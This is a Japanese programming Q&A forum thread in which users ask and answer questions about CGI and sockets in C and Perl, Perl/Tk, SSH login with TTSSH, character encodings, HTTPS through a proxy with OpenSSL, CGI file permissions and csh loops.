>>2110 /tk > 余計なような足りないような… 確かに。補足どうもです。 >>2112 moz > 質問するかもしれませんので、そのときは、どうか > よろしくお願いします。 ぜひ回答する側にもまわって下さい :-) >>2113 スナフキン > そのCGIでデータを受け無い時(readしない場合)って、そのデータは > どうなるのでしょう? 実装依存です。TCP 的に言えば、相手側がプロセスが read してくれないと相 手側の OS のバッファにたまります。それがいっぱいになったら書き込み側が ブロックします。つまり print SOCKET "...."; を実行したままずっと止まってしまうということです。 ちゃんと調べたわけではありませんが、一般的にPOST データを全部受け取っ て CGI に渡す web サーバが 多いような印象を受けます。あくまで印象なの で、試したわけではありません。 もし int sock; bind(...); listen(...); sock = accept(...); ... ヘッダ読み込み ... if ( fork() == 0 ){ char *args[]={"/home/user/public_html/cgi-bin/foo.cgi", NULL}; dup2(sock, 0); execvp("cgi", args); } else { int status; wait(&status); } のように、直接ソケットを CGI プロセスの標準入力に渡すような 実装ならば、CGI プロセスが read しないと書き込み側がブロック するわけですね。 apache の実装がどうなっているかわかったら僕にも教えて下さい。 |
|
>>2114 68user なんかいろいろとアレなので、書き直し。 int sock; int pipes[2]; bind(...); listen(...); sock = accept(...); ... ヘッダ読み込み ... pipe(pipes); if ( fork() == 0 ){ char *args[]={"cgi", NULL}; dup2(sock, 0); dup2(pipes[1], 1); execvp("/home/user/public_html/cgi-bin/foo.cgi", args); } else { char buf[256]; int len; int status; while ( len=read(pipes[0], buf, sizeof(buf) ){ write(sock, buf, len); } wait(&status); } ソケットのデータを CGI プロセスの標準入力に渡し、 CGI プロセスの標準出力を受け取り、そのままブラウザに 返す web サーバもどきです。 |
|
こんにちは。又お邪魔させてもらいました(^^;) この前はありがとうございます。うまくできました\(^o^)/ 今回は、Perl/Tkなんですがアドバイスよろしくお願いします。m(__)m リストはこんな感じなんですが・・・ use Tk; $mw = MainWindow->new; $mw->title("gifgraph"); $can = $mw->Canvas(-width=400, |
|
すみません↓ tabで形をそろえようとしたら送信のところにいっちゃってenterおしちゃいました(^^;; ヒヤアセ で、リストは use Tk; $mw = MainWindow->new; $mw->title("gifgraph"); $can = $mw->Canvas(-width=>400, -height=>300) -pack(); for(;;){ $gif = $mw->Photo(-format=>'gif', -file=>"graph.gif"); $can->createImage(200,150,-image=>$gif); $mw->after(4000); } 画像が更新されるのでfor文で何度も画像を読みこませたいんですが、ウィジェットすら開かないんです。for文をはずせば今ある画像が表示されるんですが、なぜなんでしょうか? |
|
>>2117 CCIE Perl/Tk は久しくやってないので忘れてしまいましたが、 $can->createImage(200,150,-image=>$gif); $mw->after(4000, \&change_image); MailLoop; exit; sub change_image { $gif が変わっていたら $can をいじる } じゃないですかね。 |
|
参考にさせていただきました。 少し手を加えてなんとか表示できました。それで、 GDモジュールとGIFgraphモジュールでgifを作って for(;;){ ・・・・・・ } の中に入れたんですが $my_graph=new GIFgraph::lines(); ・・・・・ 見たいな感じでGIFgraphを定義させました。 for文の外にこう言う定義は書いたらいいんですが、このモジュールの仕様?(バグ)で中に入れてどんどん作らないと更新されないんで中に書きました。 でもそうすると何度も定義するのでメモリがどんどん食われていくんです。メモリの制御を除いてもメモリが増えていってました。 前に定義したものが残っているのでそれを破棄するってことはできるんでしょうか? |
|
>>2115 68user そうですか実装依存ですか。それが判っただけでもOKです。 ありがとうございます。 perl側では、あまり意味がないという事になりますかね。 しばらくApache関連の情報も探しましたが、今の所該当する 情報は見つかりません。 わざわざ例題(cですよね?)まで書いてもらいましたが、 よく判りませんでした。m(_ _)m cが解かればソースを見て何とかなるかもしれませんが、 まだ不勉強なので… 何か見つけたら報告します。 >>2105 ふくし >ところで、1.1 をお使いですよね? いえ、B20でした・・・って最近使っていないのがバレバレですが(笑) 自分は、DOS上では面倒な処理をする必要がある場合ぐらいしか 使ってません。普通は本物の環境で作業しています。 Cygwin でシンボリックリンクまで対応している事を知ったのも、 最近です(笑) |
|
すいませんヘルプです。 SUN SPARC ServerUitra5にモデムをつけようとして ttyポートを書き変えたらディスプレイが 見えなくなってしまいました。 モデムから入りエミュレータ−から見るととプロンプトのところに?<クエスチョンマーク>がでてこんな事になってます。 ok の後に ls−a をやって見ました。 ls -a f006cd5c SUNW,UltraSPARC-IIi@0,0 f005f2f8 pci@1f,0 f004cd88 virtual-memory f004c7a8 memory@0,10000000 f002ccf0 aliases f002cc80 options f002cb48 openprom f002cadc chosen f002ca6c packages ok ディスプレイを復活させるためには どうすれば良いのでしょうか? |
|
とっても今さらですが、 >>2119 CCIE > 前に定義したものが残っているのでそれを破棄するってことはできるんでしょうか? 最小限のスクリプトを見せてもらえればわかるかもしれません (し、わからないかもしれません)。 >>2121 木島 透 すいません、わかりませんです。 ところで、また UNIX の部屋のカウンタが壊れているなぁ。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/count/countup.pl?rev=HEAD&content-type=text/x-cvsweb-markup で怪しそうなところと言えば、 sub counter_increment { ... myopen(OUT,"> $countdir/count.$ARGV[0]") || exit; print OUT "$num\n"; close(OUT); } ここらへんでブラウザが中断されて SIGPIPE 受けた、くらいしか 思い付かない。 ちなみにこのサーバは行儀の悪いロボットのせいか、しょっちゅう file: table is full となります。この前は apache が落ちた形跡があるし。うーむ。 |
|
みなさん、はじめましてこんばんわ。 IPなど、とっても私にとっては難しい事なのですが、今困っていて、ここを探しました。 実はいつも行くHPの掲示板などに、荒らしがヒドイんです。 管理人さんは、海外にいるとか、何とかで・・・。管理されていないんですよね。元々は、すごく雰囲気がよくて、みんなが楽しめていた掲示板だったんですが・・・。荒らしが多すぎて、無視して、カキコミしてたら、ほんの数時間前にカキコミしたのが、消えてしまっている・・・その位、ひどいんです。 どうにか出来ないものでしょうか?記事の削除などは、管理人さんしか出来ないですよね?でも、管理人さんが管理をしないので・・・。 困ってしまって・・・。そしたら、IPで、拒否できるっていう情報を聞きました。それも、管理人さんじゃないと出来ない方法なのでしょうか? 無知すぎる自分も悪いんですが・・・一日も早く、荒らしがいない掲示板に戻ってほしいと思っています。なにか、いい方法があるかたは、教えていただきたいです。 長々と申し訳ありませんでした。 |
|
>>2123 マイ > 記事の削除などは、管理人さんしか出来ないですよね? そうです。第三者には出来ません。 > IPで、拒否できるっていう情報を聞きました。それも、管理人さん > じゃないと出来ない方法なのでしょうか? これも管理人が特定の IP アドレスを拒否するようにしないと いけません。 結局のところ、現在の掲示板をそのまま生かすなら、 ・管理人にちゃんと管理してくれ、と頼む ・管理人からパスワードを教えてもらうなどして、管理者の権限を譲り受ける (それを許さないようなプロバイダの規約があるかもしれませんので、ご注意あれ) のどちらかしかないでしょう。 IP アドレスの制限については、掲示板の形態がわからないと 何とも言えませんが、CGI プログラムを使っているのならば http://www2s.biglobe.ne.jp/~cru/library/zddbbs/zddbbs0.html が使えると思います。 |
|
みなさまはじめまして。 場違いな質問かもしれないのですが、 皆様ご親切なので質問させていただきます。 ただいま、当方、UNIXCにて、プログラムを作っております。 そこで、telnetやTeraTermを起動した時に ユーザID、パスワードの認証があると思うのですが、 それと同様のことを、Cのプログラムの中で行ないたいのです。 <例> ユーザ名を入力してください → USERA パスワードを入力してください → (キーボードを入力しているが出力されない) このような設定(記述)のしかたをご存知の方いらっしゃいますでしょうか? また、この時に入力されたフィールドをscanfで読み取ることは可能なのでしょうか? もし、ご存知な方がいらっしゃったら教えていただきたいです。 宜しくお願いいたします。 |
|
>>2125 RUB UNIX と言ってもいろいろあるので、ちゃんと環境を書きましょう。 以下、FreeBSD と仮定して説明しますが、Solaris でも同じはずです。 > パスワードを入力してください → (キーボードを入力しているが > 出力されない) http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/gen/getpass.c?rev=1.9 の getpass が参考になるでしょう。 要は、tcgetattr して、ECHO を落として (NOECHO にする)、 tcsetattr することで、tty ドライバの echo back を OFF にできます。より詳しい情報は termios(4) をどうぞ。 もっとお手軽にやりたいなら、 http://X68000.startshop.co.jp/~68user/net/ftp-5.html の stty の部分を読んでください。 |
|
お世話になります。 土田@アグレです。 今、ブラウザの変わりになるCOM++のDLL(つまりTCP/IPのブラウザプログラム) を作成しています。 HTTPサーバがWebLogic5.1なのですが、電文そのものはあっているのに、最初から 「HTTP 1.1 400」のエラーが帰ってきてしまいます。 ソケットのコネクションに問題があるのではと考えているのですが、わかりません。 どなたかお知恵を拝借させていただければ幸いです。 ちなみにコーディングは以下のとおりです。 int AuthSocket::connectAgent(SOCKET sock, long *iPort, long *iRetry, sockaddr *sockAddr) { struct sockaddr_in sockAddrIn; int res, i; memset(&sockAddrIn, 0x00, sizeof(struct sockaddr_in)); sockAddrIn.sin_family=AF_INET; sockAddrIn.sin_addr.s_addr=inet_addr("127.0.0.1"); sockAddrIn.sin_port=htons((unsigned short)*iPort); sockAddr=(struct sockaddr *)&sockAddrIn; res=ECCOM_SUCCESS; for (i=0; i<=*iRetry; i++) { if (SOCKET_ERROR==connect(sock, sockAddr, sizeof(struct sockaddr_in))) { res=ECCOM_FAILURE; } else { res=ECCOM_SUCCESS; break; } } return res; よろしくお願いします。} |
|
>>2127 つちだ > 電文そのものはあっているのに これはどうやって確かめましたか? 具体的に何を送っていますか? 400 Bad Request が返ってくるなら、やはりまずはリクエストを 疑うべきだと思います。 |
|
初めて投稿させていただきます。 突然の質問なのですが、SolarisでGNUを使わずに前日の日付を取得する方法というものはあるのでしょうか? |
|
>>2129 福助 env TZ=JST-15 date がお手軽でしょうか。 |
|
>>2130 68user 違った。env TZ=JST+15 date でした。 |
|
すいません、HTML で質問です。 charset ですが、 西ヨーロッパ語(ISO-8859-1)と 日本語(Shift_JIS 希望)を一枚の Web ページで共存できるでしょうか? 以下の方法はいずれもダメでした。 ・font face でフォント名を指定 ・meta タグを2個書く もしご存知でしたらご教示ください、、。 |
|
>>2132 ふくし http://henika.virtualave.net/untitled.htm みたいのでよければ、 http://www.ne.jp/asahi/minazuki/bakera/html/reference/charref (最後にスラッシュはつけない) を参考に、文字実体参照を使用すれば可能かと思います。 それ以外の方法は、unicodeぐらいでしょうか? |
|
>>2133 Mr. おおっ文字参照、忘れていました。ありがとうございます! (ちなみに IE6 では見えますが、NC4.75 では見れない、、) 結局 charset は仕様上ページ単位で混在させられない、 ということなんでしょうかねー。 |
|
>> 2133 へにかさん 掲示板のウラをついて敬称をつけようとして失敗しました ;;; すいません。 |
|
教えてくんで申し訳ありません。 会社の FreeBSD に telnet していたのですが、 急に ssh を使えということになり、 愛用の TeraTerm に TTSSH を組み込もうとして苦戦中です。 いろんな Web を参考に、したことは以下の通り。 ・TTSSH のバイナリ−を展開して TTERMPRO ディレクトリに入れた ・空のテキストファイルを作って ssh_known_hosts と名づけて TTERMPRO ディレクトリに入れた ・TTSSH.exe を起動し、とりあえず接続しないで環境設定へ ・[Setup]-[SSH] で [SSH Known Hosts] の [Read/Write Files] に ssh_known_hosts をいれて [OK] ・[Setup]-[Save setup] を実行し、普段使っている teraterm.ini を指定 ・teraterm.ini に [SSH] セクションが加わっており、その中に、 KnownHostsFiles=ssh_known_hosts という行があるのを確認 ・同じセクションの Enabled= をなんとなく 1 に ・再び TTSSH.exe を起動 ・[Host] を正しく指定し、[port] を 22 番にし (ssh のポートが 22 番であることは管理者に確認済み) [Service] を SSH にして [OK] をクリック ・メッセージが出る。 SECURITY WARNING There is no entry for the server "正しいサーバー名" in your list of known hosts. The machine you have contacted may be a hostile machine pretending to be the server. If you choose to add this machine to the known hosts list and continue, then you will not receive this warning again. □ Add this machine and its key to the known hosts list」 ・チェックボックスをチェックして [Continue] をクリック ・メッセージが出て終了。 TTSSH The host and its key cannot be added, because no known-hosts file has been specified. Restart Teraterm and specify a read/write known-hosts file in the TTSSH Setup dialog box. All the encryption algorithms that this program and the server both understand have been disabled. To comunicate with this server, you will have to enable some more ciphers in the TTSSH Setup dialog box when you run Teraterm again. This connection will now close. ・再び TTSSH.exe を起動し、接続せず、[Setup]-[SSH] を見ると、 [Read/Write Files] には何も入っていない。 ・ssh_known_hosts のプロパティは「読み込み専用」にはなっていない。 こういう状況です、、。 |
|
もうしわけありませんでした、状況が変化しました。 Windows 2000 Server と Windows 95 OSR 2.1 を使っているのですが、 下の現象は 2000 でのものでした。 95 を使ったら状況が変化しました。 下の現象(ssh_known_hosts が作られず、つくっても認識しない)は置きませんでした。 たぶん Program Files 配下のフォルダのアクセス権の違いだと思います。 Windows 95 で TSSH.exe で入ろうとすると、 またキーをつくるかと言われたのでチェックしたら、 次回からは聞かれなくなり、 TTERMPRO フォルダの下に ssh_known_hosts が自動的にでき、 その中にホスト名と「公開鍵」が入りました。 それはいいのですが、入ろうとすると、RCA 秘密鍵を指定する方法しか選べません。 FreeBSD に Telnet で入って ssh-keygen で identity を作って それを TTERMPRO フォルダにコピーし、指定したのですが、 Authorization Failed になって入れない状態です。 以上とりあえずのご報告でした。 あせって情報が整理されないままにポストしてしまい申し訳ありませんでした。 |
|
ひとりで騒いでてすみません。 だいぶわかりました。 ・ファイルがあるのに「エントリがない」と怒られ、 「追加してくれ」と言ったらさらに怒られて終了する件は、 ssh ログインと同時に同じ Teraterm をもう1個起動しているときと わかりました。(^^; ・TTERMPRO/ssh_known_hosts は、なくても勝手に作ってくれ、 管理者が定めたリモートホストの公開鍵を自動的に取ってきてくれると わかりました。 ・あとは自分用の公開鍵と秘密鍵のセットを何らかの方法で作り、 秘密鍵を TTERMPRO に入れて [Setup]-[SSH Authorization]-[Use RCA Key to login] で 指定し、 公開鍵をリモートホストの ~/.ssh/authorization_keys という名前で保存すればいい、 らしい。 ・うちのリモートホストは RCA 暗号鍵必須らしい。 (ログインするとき Use plain password.. がグレイアウトするので) ということがわかりました。 が、依然ログインできません。 正しいパスフレーズを入力してるはずなのに Authorization に失敗します。 |
|
書き込みは2回目です。 プログラムというよりはアイデアの問題かも知れませんが,どなたか教えて下さい。 プロバイダのサーバ(UNIX)にPerlで書いたプログラムを送ってCGIを動かしています。よろしくお願いします。 質問1: フレームで区切られたhtmlのページからsubmitボタンでCGIに飛びます。 CGIではprint "Location: $str\n\n";を使って別のhtmlページへ飛ぶようにしています。 この時,そのフレーム部分だけが別のhtmlページへ飛びますが, ウィンドウ全体(親ウィンドウ)を別のhtmlページ |
|
すみません,文が途中で切れてしまったので,再投稿させていただきます。 −−−−− 書き込みは2回目です。 プログラムというよりはアイデアの問題かも知れませんが,どなたか教えて下さい。 プロバイダのサーバ(UNIX)にPerlで書いたプログラムを送ってCGIを動かしています。 質問1: フレームで区切られたhtmlのページからsubmitボタンでCGIに飛びます。 CGIではprint "Location: $str\n\n";を使って別のhtmlページへ飛ぶようにしています。 この時,そのフレーム部分だけが別のhtmlページへ飛びますが, ウィンドウ全体(親ウィンドウ)を別のhtmlページへ飛ぶようにできないものでしょうか。 質問2: FORMから入力された文章中の半角カタカナを全角カタカナに変換したいのですが 半角カタカナを(文字化けしないで)半角カタカナとして CGIで受け取る方法はあるでしょうか。 FORMから入力された文章をEUCでconvertする前に文字化けしてしまうので(?), jcodeのh2z_eucを使っても上手くいきません。 |
|
あ,UNIXにもいろいろあるのですね。 ソフトはFreeBSDです。 |
|
>>2138 ふくし うーん、TTSSH は使うこともありますが、いつも plain password で やってるのでわかりませんです。すいません。 >>2140 椎 > ウィンドウ全体(親ウィンドウ)を別のhtmlページへ飛ぶように > できないものでしょうか。 多分 Location ではどうにもならないと思うので、CGI で Content-type: text/html <html><body onload="document.myform.submit()"> <form name=myform action="hoge" target="fuga" method="get"> </form> </body></html> てな HTML を吐くのはどうでしょうか (最近ちょっと Javscript を 覚えた)。 > 半角カタカナを(文字化けしないで)半角カタカナとして > CGIで受け取る方法はあるでしょうか。 普通、何もしなければ文字化けはしません。perl は扱っている データが半角カナかどうかを意識しませんので。 具体的にどういう処理を行って、どううまくいかないのですか? |
|
>68user さん いつもお世話になっております! 結局、 ・TTSSH は RSA 暗号鍵しかサポートしていず、 一方うちの FreeBSD は DSA 暗号鍵しかサポートしない (%ssh -V の結果は OpenSSH_2.5.2p2, SSH protocols 1.5/2.0, OpenSSL 0x...) ということらしいです??? よくわかりませんが、、。 ということで、 ・DSA をサポートする Windows SSH クライアントで、 ぼくがしたいこと(Emacs を使って Perl をいじったり Mew でメールを読んだりする)ができるものを探す ・Cygwin を使う(と、出来るらしい) ・DSA をサポートする Windows SSH クライアントで接続し、 別マシンの Telnet ポートをポートフォーワーディングして Telnet で使う ・会社のマシンを RSA にしてもらう などの認識でいいのか、検討中です。 ところで、本掲示板の趣旨は理解しているのですが、 ちょっと事情があってあせっています。 (来週にも Telnet 禁止になるらしい、、、) ココ以上の掲示板が見つかるかわからないのですが、 場合によっては同趣旨の質問を別の場所に マルチポストしていいでしょうか? ずうずうしいですが非常時ということでご検討お願いします、、。 |
|
先日はありがとうございました 今回もまた質問で恐縮なのですが、cshのシェル変数のstatusのようなものはbshにはないのでしょうか?スクリプトを作る際、2種類のファイルを比較しそのファイルに違いがあればエラー処理ということを実行したいのですが・・・。何卒よろしくお願いいたします |
|
> ふくしさん ~/.ssh/authorization_keysではなくて、~/.ssh/authorized_keysということではないですか? openssh_2.3から2.9にして使ってますがどちらもRSAが使えないということはありませんでした。 もしくはビルドする際のオプションが違うとか。 |
|
>>2143 ふくし > (来週にも Telnet 禁止になるらしい、、、) おすすめしているわけではありませんが、ssh の plain password で 運用するのはダメですか? > 場合によっては同趣旨の質問を別の場所にマルチポストしていいでしょうか? どうぞ。結論が出たら教えて下さい。 >>2144 福助 > 先日はありがとうございました 上の「使い方」を読んでください。で、結果を報告するようにして下さい。 もしそれが面倒でしたら、申し訳ありませんが掲示板の使用はご遠慮下さい。 > cshのシェル変数のstatusのようなものはbshにはないのでしょうか? $? です。 |
|
68userさん> (plain password の件) TTSSH の初期画面で、plain password の部分が (というか、RSA 鍵の使用以外の部分が) すべてグレーで使用不可になっているんです。 たぶん接続先の ssh の設定だと思います。 (マルチポストの件) ありがとうございます。 でもその必要なくなりました。 にゃさん> すいませんその通りだったようです、、、;;;;;; ということで開通しました! わーんこれで来週も生きられる、、 (Teraterm/Emacs/Mew 依存症なだけなんだけど、、) |
|
>>2142 68user 御返事ありがとうございました。 Javascriptはよくわからないので,まずはそのままprintでCGIに入れてみましたが Internal Server Error……と言われてしまいました。 どの部分かは書き換える必要があるのでしょうか。 ジャンプ先のURLはどこに入るのでしょうか。 Javascriptに解決方法がありそうということであれば, そちらを勉強してみてそれから再度報告しますが, 今回の件を解決する上で勉強上のポイントがあれば教えてください。 お願いばかりですみません。 > 具体的にどういう処理を行って、どううまくいかないのですか? ウェブページ上のフォームに半角カナで入力してsubmitボタンで送り, 受け取ったCGIで,「=」で$key,$valにsplitした後に%inに入れて while (($key,$val) = each %in) { jcode::convert(\$key, 'euc'); jcode::convert(\$val, 'euc'); if ($val eq 'http://') { $val = ''; } $val =~ s/\r\n|\r|\n//g; $val =~ s/,/,/g; $in{$key} = $val; } なんてことをやっています(途中の置換は今回の件とは関係ないと思いますが……)。 この後,CGI上でhtmlを書き出して$valをウェブページに表示させると文字化けします。 例えば,半角カナで「アイウエオ」と入れると「竺軸宍雫七」となりました。 |
|
> ふくしさん よかったですね。 protocol versionsを2だけに制限されるところもあると思うので気になってました。 公開鍵暗号の認証の方がssh-agentを使えるので慣れば楽だと思います。 TTSSHだと関係ないですがCygwinからなら使えますし。 あと、何か変なことがあったら、 ssh -v で挙動を調べると原因がわかることが多いです。 > Teraterm/Emacs/Mew 依存症なだけなんだけど、 OSを変えてしまった方が楽の様な気が・・。 |
|
>>2122 68user > ところで、また UNIX の部屋のカウンタが壊れているなぁ。 ご存知だったらすみません。 受け売りですが,カウンタ記録ファイルを2つ用意するといいみたいです。 単純な方法ですが,効果抜群とか……。 自分はそんなにアクセスが集中するページを持っていないので, 効果の確認はできていませんが……。 ↓自分がデータベース用に使っているPerlのスクリプトです。 @file1 = stat($logfile1); @file2 = stat($logfile2); if ((@file1[9]) > (@file2[9])) { $rfile = $logfile1; $wfile = $logfile2; } else{ $wfile = $logfile1; $rfile = $logfile2; } &lockwait; #←ファイルロック用のサブルーチンです。 if (!open(DB,"$rfile")) { &error('データベース読取エラー','復旧をお待ちください。'); } @lines = <DB>; close(DB); rmdir($lockfile); |
|
>>2148 椎 > そのままprintでCGIに入れてみましたが Internal > Server Error……と言われてしまいました。 Javascript はブラウザ側で解釈するものなので、Internal Server Error が起きたということは CGI 側の問題です。perl -c などで 文法チェックをしてみて下さい。おそらくは print "<html><body onload="document.myform.submit()">\n"; などと、" の中に " をそのまま書いたか、Content-type ヘッダの 先頭に空白を入れたか、というところではないでしょうか。 > ジャンプ先のURLはどこに入るのでしょうか。 form の action です。 > 「竺軸宍雫七」 それは perl や jcode.pl 的には化けていません。EUC-JP の半角カナの 「アイウエオ」は 8e b1 8e b2 8e b3 8e b4 8e b5 です。一方、Shift_JIS の「竺軸宍雫七」は 8e b1 8e b2 8e b3 8e b4 8e b5 です。つまり全く同じコードであって、同じバイト列を EUC-JP と解釈するか、 Shift_JIS と解釈するかで表示が違う、ということになります。 で、エンコーディングを解釈するのはブラウザの仕事なので、 ブラウザが誤認しないように print "Content-type: text/html; charset=EUC-JP\n\n"; と適切なエンコーディングを指定してやればよいです。 > jcodeのh2z_eucを使っても上手くいきません。 この件は具体的に書いたスクリプトを提示して下さい。 >>2150 椎 > カウンタ記録ファイルを2つ用意するといいみたいです。 なるほど。ただその手法は壊れる確率は低いけど正確なカウントは できないように見えるので、ある意味「逃げ」かなぁとは思います。 完璧な排他ができないはずはないと思っていますので。 このページは自己満足のためにあるのでその手法は選びませんが、 仕事となればそういう解もありだとは思いますので、全面的に 否定しているわけではありません。 |
|
>>2140 椎 > フレームで区切られたhtmlのページからsubmitボタンでCGIに飛びます。 であれば, submit が含まれている form の target に "_top" を 指定すれば良いだけに思えますが・・・ > EUCでconvertする前に文字化けしてしまうので(?) というのは, どのように確認されましたか? >>2150 椎 > if ((@file1[9]) > (@file2[9])) { スライス? |
|
>>2152 /tk ありゃ? 3点リーダって駄目なのか。 すいません。以後気をつけます。 |
|
連続ですいません。 >>2153 /tk 単にウチのIMEが3点リーダでは無く 半角中黒3つに変換していただけでした。 |
|
>>2061-2071 なぜ HELO や EHLO を送るのかという話ですが、http://www.sk-jp.com/book/javamail/ の本には helo は、Sender MTA んもホスト名を記述することになっている。 しかし、現在はここに何を書いても意味をなさないようになって いる。なぜなら、現在ではクライアントがグローバルなホスト名を 持たないことが多いので、記述すべき内容がない & 正しいかどうかを 検証する手段もない。 というようなことが書いてあります。なので、歴史的な事情、というのが一点。 さらに http://djbdns.jp.qmail.org/djb/smtp.html にあるように、EHLO のレスポンスにより、その SMTP サーバで使用可能な コマンドがわかるので、MUA はこれを読んで適切なコマンドを送るように すべき、というのが一点。 …でどうでしょうか? (そんなことはわかっておられるような気が とてもしますが) ちなみにこの本、JavaMail (Java 用 POP・SMTP・IMAP の API) を 使う人なら文句なくおすすめです。 >>2140 椎 > であれば, submit が含まれている form の target に "_top" を > 指定すれば良いだけに思えますが・・・ ああ、なるほど。ごもっともです。 |
|
始めまして。 C言語のネットワークプログラミング参考にさせて頂いて おります。m(_ _)m 一つ質問なんですが、httpsのサイトを取得する時、 プロキシー経由の場合はどのようになるのでしょうか? google等で検索してみたのですが、分かりませんでした。 最初にプロキシーに対して、 CONNECT **.com:443 HTTP/1.0 HOST: **.com って感じでやるのかなぁって所まで分かったのですが、、 ご存知の方いらっしゃいましたら、ヒントだけでも頂きたい です。宜しくお願い致します。 |
|
長文ですみません……。 >>2115 68user > " の中に " をそのまま書いた その通りです。うっかりしてました。 > form の action です。 htmlと同じなのですね。 strはよく見るのですが,hogeとかfugaは知らなかったので……。 よければ意味を教えて下さい。 > つまり全く同じコードであって、同じバイト列を EUC-JP と解釈するか、 > Shift_JIS と解釈するかで表示が違う、ということになります。 なるほど。 > print "Content-type: text/html; charset=EUC-JP\n\n"; > と適切なエンコーディングを指定してやればよいです。 やってみましたが,同じ結果でした。うーん……悩む……。 ちなみにこうする前は, Content-type: text/html\n\n と <META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=x-euc-jp"> を入れていました。 > > jcodeのh2z_eucを使っても上手くいきません。 > この件は具体的に書いたスクリプトを提示して下さい。 require 'jcode.pl'; jcode::convert(\$str, 'euc'); jcode::h2z_euc(\$str); です。 > なるほど。ただその手法は壊れる確率は低いけど正確なカウントは > できないように見えるので、ある意味「逃げ」かなぁとは思います。 > 完璧な排他ができないはずはないと思っていますので。 そうですね。 私は「累計」を正確にカウントすることに意味があるのか疑問なので (カウンタは目安だと思っているので)気にしていないのですが, プログラム的にはつきつめる価値はあると思います。 >> 2152 > であれば, submit が含まれている form の target に "_top" を > 指定すれば良いだけに思えますが・・・ formにtargetが使えることを知りませんでした。 やってみたら上手くいきました。ありがとうございました。 > > EUCでconvertする前に文字化けしてしまうので(?) > というのは, どのように確認されましたか? いえ,確認できていないので(?)を付けています。 ただ,convertした後に半角カナを拾い出すスクリプトを入れていて, 文字化けした後の文に含まれている半角カナは拾うことができているので, なんとなくそうなのかな……と思いました(根拠になっていませんね)。 例)半角カナで「明アイウエオ」とすると「フタ竺軸宍雫七」(フタ:半角カナ)に 文字化けし,「フタ」を拾い出すことができています。 > スライス? すみませんが,意味がわかりませんでした。 ちなみに,このやり方は本屋で買った書籍から知りました。 |
|
>>2157 椎 > hogeとかfugaは知らなかったので……。 hoge の意味ですか? ならこちらを。 http://www.selab.tutkie.tut.ac.jp/~yoshida/hoge.html > require 'jcode.pl'; > jcode::convert(\$str, 'euc'); > jcode::h2z_euc(\$str); それで正しいと思います。 それでも化けるなら、文字列処理をしている全ての処理 - ブラウザから渡された「%8e%b1%8e%b2」というような URL エンコード された文字列 - & で split した文字列 - = で split した文字列 - URL デコードした文字列 - EUC に変換した文字列 で、print 文でデータを出力してみて下さい。そしたらどこで化けて いるかわかるでしょう。また、フォームが書いてある HTML の文字 コードが何になっているかも調べて下さい。 わからなかったら、最小限まで切り詰めたソースを見せて下さい。 >>> if ((@file1[9]) > (@file2[9])) { >> スライス? > すみませんが,意味がわかりませんでした。 $file1[9] が正しい、ってことでしょう。 > ちなみに,このやり方は本屋で買った書籍から知りました。 $file1[9] や (@file1)[9] なら正しいですが (わざわざ後者の書き方を する必要はありませんが)、@file1[9] は誤りです。本当にそう書いてあるなら その本は捨てましょう。 >>2156 Nira > CONNECT **.com:443 HTTP/1.0 > HOST: **.com ここまでは正しいと思います。その後は暗号化したリクエストを 送りますが…暗号化まで自力でやろうとしておられます? |
|
>>2158 68user ご返答ありがとう御座います。 >ここまでは正しいと思います。その後は暗号化したリクエストを >送りますが…暗号化まで自力でやろうとしておられます? CONNECTメソッドまでは正しいですか。 暗号化を自分でやるだけの知識は無いです。(--;) CONNECTした後は、サンプル通りのにやっているのですが、 SSL_connect()で0が返ってきます。 方法が正しいなら他の部分のバグかもしれないっすね。 そういえば、httpsの取得に良いサイトを発見しました。 https://www2.ggn.net/cgi-bin/ssl です。http://www.moxienet.com/lynx/ssl-testから リダイレクトされるサイトで、LynxでSSLが使用できる かどうかをチェックするためのサイトらしいです。 |
|
>>2158 68user ありがとう御座いました。 理由はわからないのですが動くようになりました。 SSL_load_error_strings(); の後に ERR_load_crypto_strings(); ERR_load_SSL_strings(); OpenSSL_add_all_algorithms(); を追加してみたら、難なく動きました。(--;) http://www.openssl.org/docs/crypto/BIO_f_ssl.html のサンプルを見てたら、上記3つの関数を呼んでいたので 真似してみました。 お騒がせ致しました。m(_ _)m |
|
はじめまして 最近CGIを作りはじめたして、問題が・・・ サーバはUNIXでCGIの処理を行なった後に作られたファイルの所有権がすべてnobodyになってしまっていて、その作られたファイルの操作が全くできなくなってしまいました。所有権の変更も出来ないんです。 だれか助けて下さい。。 おねがいします。 |
|
>>2159 Nira > そういえば、httpsの取得に良いサイトを発見しました。 ありがとうございます。このページをサンプルとして載せておきます。 >>2161 あやの > その作られたファイルの操作が全くできなくなってしまいました。 #!/usr/bin/perl system("rm -f ファイル"); print "Content-type: text/plain\n\n"; print "File removed.\n"; というような CGI スクリプトを作って、ブラウザから CGI に アクセスすれば消せます。 > 所有権の変更も出来ないんです。 普通ファイルの所有者を変更できるのは root のみです。 # 設定次第でできる OS もありますが。 よって、 - 事前にファイルを作成しておき、nobody が中身を変更できる ようにパーミッションを設定する。 - ファイルの所有者は nobody とし、他のユーザがそれを 参照・変更できるようにパーミッションを設定する。 - ファイルの所有者を nobody 以外とする。 サーバ管理者に suExec や cgiwrap を入れてもらうか、 自分で suid なプログラムを作る。 # http://x68000.startshop.co.jp/~68user/webcgi/permission.html のいずれを選ぶ、ということになります。 |
|
はじめまして、こんばんはっす。 突然ですがシェルスクリプトをつかってファイルを 書き換えようとしてるのですが "ディレクトリースタックの番号指定が深過ぎます." とコメントされ動いてくれません。どういうことなんでしょうか? ちなみに このシェルスクリプトです。 わかるかたがいたら教えて下さい。 #!/bin/tcsh set d=1 while(d<=16){ cat -n invar3_$d.dat > ninvar3_$d.dat d++} end |
|
>>2163 けんじ 突っ込みどころがたくさんありすぎて書ききれないので、とりあえず 動くものを置いておきます。 #!/bin/tcsh set d=1 while ( $d < 16 ) cat -n invar3_$d.dat > ninvar3_$d.dat @ d = $d + 1 end まずはマニュアルか、初心者向けの csh プログラミングの本を 読んで下さい。よい本が見付からなければ sh で書くのも手です。 sh なら結構な種類の本が出ています。 |
|
すいません、丁寧に教えていただき ありがとうございます。 はい、もっともっと勉強していきます! ただ、perlやshではうまくいってくれるのですが なぜかcshでは教えてくださったようにしても "ディレクトリースタックの番号指定が深過ぎます." といって動いてくれません。 特になにも変更等していないのですが、、、、。 なにはともあれありがとうございました! |
|
